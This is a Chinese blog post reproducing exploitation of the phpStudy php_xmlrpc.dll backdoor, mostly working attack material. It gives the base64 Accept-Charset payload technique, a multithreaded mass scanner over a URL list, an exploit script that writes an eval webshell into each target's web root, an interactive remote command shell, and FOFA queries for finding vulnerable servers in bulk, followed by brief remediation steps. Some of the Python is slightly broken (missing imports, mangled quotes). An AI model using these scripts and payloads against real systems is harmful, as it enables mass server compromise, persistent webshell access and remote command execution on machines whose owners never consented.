zoukankan      html  css  js  c++  java
  • phpStudy后门漏洞利用复现

    一、漏洞描述

    Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer

    多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。

    正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息。

    二、后门漏洞影响版本

    phpStudy2016

    phpphp-5.2.17extphp_xmlrpc.dll

    phpphp-5.4.45extphp_xmlrpc.dll

    phpStudy2018

    PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll

    PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

    三、漏洞危害

    风险等级:高

    风险危害:

    1.获取服务器权限

    2.写入webshell

    四、后门漏洞复现流程

    Accept-Encoding: gzip,deflate
    Accept-Charset: payload(base64编码)

    注意:

    Accept-Encoding: gzip,deflate
    gzip,空格deflate
    gzip逗号后面这个空格需要删除,否则无回显

    payload也就是我们的php代码,构造要经过base64编码过后再放入

    复现过程:

    抓取URL请求包,首页即可

    然后发送到 Repeater模块测试

    这里可以看见前面所说的gzip逗号后面的空格没有删掉

    再者Accept-Charset需要自己构造

    我们构造一个 system('whoami'); base64编码过后的然后发送过去测试

    这里可以看见,执行了whoami

    接下来编写我们的 批量POC、EXP、交互shell

    五、 Python编写批量POC、EXP、交互shell

    批量POC:

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    # @Author : 白纸书生
    # @FileName: phpstudy_poc.py
    
    import requests
    import threading
    
    def POC(url):
      headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
      }
      try:
        response = requests.get(url=url,headers=headers,timeout=3)
        print(url)
        if response.status_code == 200:
          if ""local<****>host"" in response.text:
            print('存在phpstudy后门漏洞------------',url)
            with open('vulnstudy.txt','a') as f:
              f.write(url+'
    ')
      except:
        return
    
    if __name__ == '__main__':
    
      number = int(sys.argv[1])
      count = 0
      for url in open(r'urls.txt'):
        count+=1
        t = threading.Thread(target=POC, args=(url.strip(),)) # 注意传入的参数一定是一个元组!
        t.start()
        if count % number == 0:
          time.sleep(3)

    EXP:

      

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    # @Author  : 白纸书生
    # @FileName: phpstudy_exp.py
    
    import requests
    
    def EXP(url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
            'Accept-Encoding': 'gzip,deflate',
            'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
        }
        try:
            response = requests.get(url=url,headers=headers,timeout=3)
            if response.status_code == 200:
                print('Success------------',url+"shell.php")
        except:
            return
    
    
    if __name__ == '__main__':
    
        for url in open(r'urls.txt'):
            EXP(url.strip())
    exp这里的payload是写入webshell
    payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
    通过$_SERVER['DOCUMENT_ROOT'] 获取网站根目录再写入。

    交互shell:

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    # @Author  : 白纸书生
    # @FileName: phpstudy_shell.py
    
    import requests
    import re
    import base64
    
    def SHELL(url):
        try:
            while 1:
                shell = input(">>>")
                shell = "echo "abds";system(""+shell+"");echo "abds";"
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
                    'Accept-Encoding': 'gzip,deflate',
                    'Accept-Charset': base64.b64encode(shell.encode()).decode()
                }
                response = requests.get(url=url,headers=headers,timeout=3)
                text = re.findall(r"abds(.+?)abds",response.text,re.S)
                print(text[0])
                if shell == "0":
                    return
        except:
            print("异常")
    
    
    if __name__ == '__main__':
        url = 'http://localhost/'
        SHELL(url)

    回显通过php的echo "abds"; 包裹着 也就是命令被两个字符串包裹着,然后我们通过python正则把它从abds中间提取出来即可

    测试结果:

    六、通过网络空间引擎批量搜索

    这里采用fofa

    构造通过返回的server

    server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
    
    server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"

     


    感觉准确率不够高的话,可以再加个php探针做限制

    七、后门漏洞修复方式

    1.更新phpstudy

    2.手动删除该dll文件

    3.采用火绒等杀毒软件查杀

  • 相关阅读:
    学习网站
    Windows下python安装运行
    Python学习
    ES学习
    Eclipse安装lombok及常用注解
    Spark学习资料
    Spring Cloud学习资料
    使用Excel过滤重复数据
    Excel根据字符串截取单元格部分内容
    Spring中@Transactional(rollbackFor = Exception.class)的作用
  • 原文地址:https://www.cnblogs.com/miruier/p/13767957.html
Copyright © 2011-2022 走看看